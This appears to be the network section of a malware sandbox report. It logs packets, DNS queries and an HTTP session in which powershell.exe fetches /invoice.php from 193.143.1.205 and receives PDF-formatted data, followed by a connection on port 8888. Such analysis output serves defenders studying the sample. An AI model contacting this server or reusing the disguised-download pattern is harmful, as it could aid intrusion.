Jan 13, 2025 10:28:17.223858118 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.223866940 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.223876953 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.223886013 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.223893881 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.223896027 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.223923922 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.223989010 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.224009991 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.224020958 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.224030018 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.224059105 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.224159002 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.224175930 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.224185944 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.224196911 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.224220991 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.224323988 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.224333048 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.224343061 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.224351883 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.224360943 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.224368095 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.224392891 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.226532936 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.241101980 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.241118908 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.241134882 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.241144896 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.241158009 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.241167068 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.241178036 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.241185904 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.241206884 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.241228104 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.241388083 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249006033 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249016047 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249025106 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249034882 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249056101 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.249075890 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.249471903 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249481916 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249491930 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249507904 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249515057 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.249516010 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249527931 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249532938 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.249567032 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.249576092 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249586105 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249594927 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249604940 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.249615908 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.249636889 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.279493093 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279519081 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279530048 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279540062 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279557943 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279567003 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279572964 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279577971 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279587984 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279598951 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279604912 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.279604912 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.279649019 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.279728889 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279738903 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279748917 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279766083 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279774904 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.279777050 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.279802084 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.279815912 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.296782017 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296807051 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296818972 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296828985 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296840906 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296857119 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296868086 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296879053 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.296879053 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296892881 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296901941 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.296901941 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.296915054 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.296935081 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296947002 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296957970 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296968937 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296982050 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.296992064 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.297017097 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.297569036 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297580957 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297591925 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297602892 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297615051 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297621965 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.297635078 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.297756910 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297768116 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297779083 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297789097 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297799110 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297806025 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.297810078 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297821045 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297827005 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297832012 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.297832966 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297838926 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.297840118 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.297878981 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.298295975 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298311949 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298321962 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298331022 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298341036 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.298341990 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298352957 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298362017 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298368931 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.298372030 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298383951 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298393965 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298394918 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.298403978 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298413992 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.298414946 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298424959 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298439026 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298440933 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.298449993 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.298460960 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.298460960 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.298486948 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.299014091 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299025059 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299035072 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299043894 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299053907 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299063921 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299065113 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.299073935 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299077988 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.299083948 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299094915 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299103022 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.299104929 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299117088 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299127102 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299133062 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.299137115 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299163103 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.299623013 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299633980 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299643993 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299653053 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299664021 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299674034 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.299674988 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.299700022 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.310447931 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310460091 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310470104 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310487032 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310503006 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310512066 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310523033 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310523987 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.310534000 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310538054 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.310544968 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310554981 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310565948 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310574055 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.310597897 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310604095 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.310609102 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310620070 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310636044 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310637951 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.310645103 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.310678005 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.328670979 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.328691959 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.328704119 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.328712940 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.328723907 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.328733921 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.328744888 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.328782082 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.328782082 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.328782082 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.336256027 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336333036 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336344004 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336354017 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336364985 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336374998 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336385012 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336430073 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.336430073 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.336471081 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336482048 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336491108 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336500883 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336513042 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336522102 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336529970 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.336553097 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.336637974 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.336674929 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.341866016 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.366549015 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366575003 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366586924 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366597891 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366607904 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366617918 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366628885 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366638899 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366648912 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366666079 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366677046 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366686106 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366697073 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366697073 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.366708040 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.366731882 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.366753101 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.383521080 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.383538961 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.383558989 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.383574963 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.383588076 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.383601904 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.383613110 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.383627892 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.383632898 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.383676052 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.383676052 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.383697033 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.383708954 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.383780956 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.383801937 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.383816004 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.383827925 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.383855104 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.425690889 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.464427948 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.610317945 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:18.492258072 CET	49717	8888	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:18.497199059 CET	8888	49717	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:18.497332096 CET	49717	8888	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:18.497895002 CET	49717	8888	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:18.502675056 CET	8888	49717	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:19.318353891 CET	8888	49717	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:19.363039017 CET	49717	8888	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:20.328159094 CET	49717	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 10:28:31.388607979 CET	64695	53	192.168.2.5	1.1.1.1
Jan 13, 2025 10:28:45.033560991 CET	63618	53	192.168.2.5	1.1.1.1
Jan 13, 2025 10:28:57.424221039 CET	59556	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 10:28:31.388607979 CET	192.168.2.5	1.1.1.1	0xaaa3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 13, 2025 10:28:45.033560991 CET	192.168.2.5	1.1.1.1	0xc7af	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 13, 2025 10:28:57.424221039 CET	192.168.2.5	1.1.1.1	0x5bed	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 13, 2025 10:28:31.396022081 CET	1.1.1.1	192.168.2.5	0xaaa3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 10:28:45.040612936 CET	1.1.1.1	192.168.2.5	0xc7af	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 10:28:57.431237936 CET	1.1.1.1	192.168.2.5	0x5bed	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49716	193.143.1.205	80	7420	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 10:28:15.866799116 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 13, 2025 10:28:16.653557062 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 09:28:16 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 13, 2025 10:28:16.653589964 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 13, 2025 10:28:16.653601885 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
